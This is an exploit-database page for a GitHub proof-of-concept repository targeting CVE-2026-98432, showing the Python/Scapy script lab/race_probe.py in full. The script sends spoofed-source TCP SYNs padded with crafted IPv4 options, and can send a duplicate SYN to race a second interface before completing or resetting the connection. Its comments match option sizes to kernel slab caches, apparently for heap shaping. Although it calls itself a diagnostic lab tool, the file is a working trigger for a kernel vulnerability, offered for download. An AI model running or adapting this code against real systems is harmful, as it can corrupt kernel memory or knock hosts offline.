Exploit database

GH-51adea3e8db6ecf0a1c1acacb0539030

rootagi/cve-2026-98432

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98432

33 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14
rootagi/cve-2026-98432Revision 8fb754ed7fe5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/race_probe.py

Python · 5,602 bytes
#!/usr/bin/env python3
"""Packet-only probe for CVE-2026-98432 lab.

Sends a SYN with IPv4 options from a spoofed source to the target listener,
captures the SYNACK, then optionally sends a duplicate SYN to another target
NIC and/or completes/resets the connection.

This is a diagnostic tool only.  Run on the attacker VM.
"""
import argparse
import os
import sys
import threading
import time

from scapy.all import (
    Ether, IP, TCP, AsyncSniffer, get_if_hwaddr, sendp, raw,
)

# Lab topology config: override via environment; see lab/README.md.
TARGET_MAC = {
    "enp0s8": os.environ.get("LAB_TARGET_MAC_A", ""),
    "enp0s9": os.environ.get("LAB_TARGET_MAC_B", ""),
}
TARGET_IP = os.environ.get("LAB_TARGET_IP", "")
SPOOF_SRC = os.environ.get("LAB_SPOOF_SRC", "192.0.2.1")


def ipopt_rr() -> bytes:
    # RR option, length 39, pointer 4, 9 slots (36 bytes) => 39 bytes.
    # Pad to 40 with EOL.
    return bytes([7, 39, 4]) + b"\x00" + b"\x01" * 36


def ipopt_ts() -> bytes:
    # Timestamp option, length 40, pointer 5, overflow/flag 0, 9 slots.
    return bytes([68, 40, 5, 0]) + b"\x00" * 36


def ipopt_nops() -> bytes:
    # 40 bytes of NOP, valid as individual options.
    return b"\x01" * 40


def ipopt_nop32() -> bytes:
    # 32 bytes of NOP: option block is kmalloc-64, saved_syn is kmalloc-96.
    return b"\x01" * 32


def parse_opts(pkt):
    ip = pkt[IP]
    try:
        rawpkt = raw(pkt)
        # Ethernet header is 14 bytes; IP options follow the 20-byte IP header.
        ihl = ip.ihl
        return rawpkt[14 + 20 : 14 + ihl * 4], ihl, ip.len
    except Exception:
        return b"", ip.ihl, ip.len


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--iface", default="enp0s8")
    ap.add_argument("--dmac", default=None,
                    help="target MAC for the first SYN (default: iface map)")
    ap.add_argument("--dup", action="store_true",
                    help="send a duplicate SYN after the first SYNACK")
    ap.add_argument("--dup-dmac", default=None,
                    help="target MAC for the duplicate SYN")
    ap.add_argument("--dup-wait", type=float, default=0.5)
    ap.add_argument("--sport", type=int, default=12345)
    ap.add_argument("--seq", type=int, default=1000)
    ap.add_argument("--opt", choices=["rr", "ts", "nop", "nop32", "none"],
                    default="rr")
    ap.add_argument("--dst", default=TARGET_IP)
    ap.add_argument("--src", default=SPOOF_SRC)
    ap.add_argument("--wait", type=float, default=2.0)
    ap.add_argument("--send-ack", action="store_true")
    ap.add_argument("--send-rst", action="store_true")
    args = ap.parse_args()

    if args.opt == "rr":
        opt = ipopt_rr()
    elif args.opt == "ts":
        opt = ipopt_ts()
    elif args.opt == "nop":
        opt = ipopt_nops()
    elif args.opt == "nop32":
        opt = ipopt_nop32()
    else:
        opt = b""

    iface = args.iface
    smac = get_if_hwaddr(iface)
    dmac = args.dmac or TARGET_MAC[iface] or get_if_hwaddr(iface)
    dup_dmac = args.dup_dmac or dmac
    print(f"iface={iface} smac={smac} dmac={dmac} dup_dmac={dup_dmac}",
          flush=True)

    got = []
    first_ev = threading.Event()

    def cb(p):
        if IP not in p or TCP not in p:
            return
        if p[IP].dst != args.src or p[TCP].sport != 9000:
            return
        opts, ihl, plen = parse_opts(p)
        got.append(p)
        print(
            f"SYNACK #{len(got)} sport={p[TCP].sport} dport={p[TCP].dport} "
            f"flags={p[TCP].flags} seq={p[TCP].seq} ack={p[TCP].ack} "
            f"ihl={ihl} iplen={plen} opts={opts.hex()}",
            flush=True,
        )
        if len(got) == 1:
            first_ev.set()

    sn = AsyncSniffer(iface=iface, prn=cb, store=False)
    sn.start()
    time.sleep(0.25)

    def syn(dst_mac):
        return (
            Ether(dst=dst_mac, src=smac)
            / IP(src=args.src, dst=args.dst, options=opt)
            / TCP(sport=args.sport, dport=9000, flags="S", seq=args.seq,
                  options=[])
        )

    pkt = syn(dmac)
    print("tx SYN", pkt.summary(), "rawlen", len(raw(pkt)),
          "optlen", len(opt), flush=True)
    sendp(pkt, iface=iface, verbose=False)

    first_ev.wait(args.wait)

    if args.dup:
        dup = syn(dup_dmac)
        print("tx DUP", dup.summary(), "dmac", dup_dmac, flush=True)
        sendp(dup, iface=iface, verbose=False)
        time.sleep(args.dup_wait)

    sn.stop()

    if got and (args.send_ack or args.send_rst):
        p = got[-1]
        sport, seq, ack = args.sport, args.seq, p[TCP].seq
        if args.send_ack:
            a = (
                Ether(dst=dmac, src=smac)
                / IP(src=args.src, dst=args.dst, options=opt)
                / TCP(
                    sport=sport,
                    dport=9000,
                    flags="A",
                    seq=seq + 1,
                    ack=ack + 1,
                    options=[],
                )
            )
            print("tx ACK", a.summary(), flush=True)
            sendp(a, iface=iface, verbose=False)
            time.sleep(0.05)
        if args.send_rst:
            r = (
                Ether(dst=dmac, src=smac)
                / IP(src=args.src, dst=args.dst)
                / TCP(sport=sport, dport=9000, flags="R", seq=seq + 1,
                      ack=ack + 1)
            )
            print("tx RST", r.summary(), flush=True)
            sendp(r, iface=iface, verbose=False)

    print("captured", len(got), flush=True)
    return 0 if got else 1


if __name__ == "__main__":
    sys.exit(main())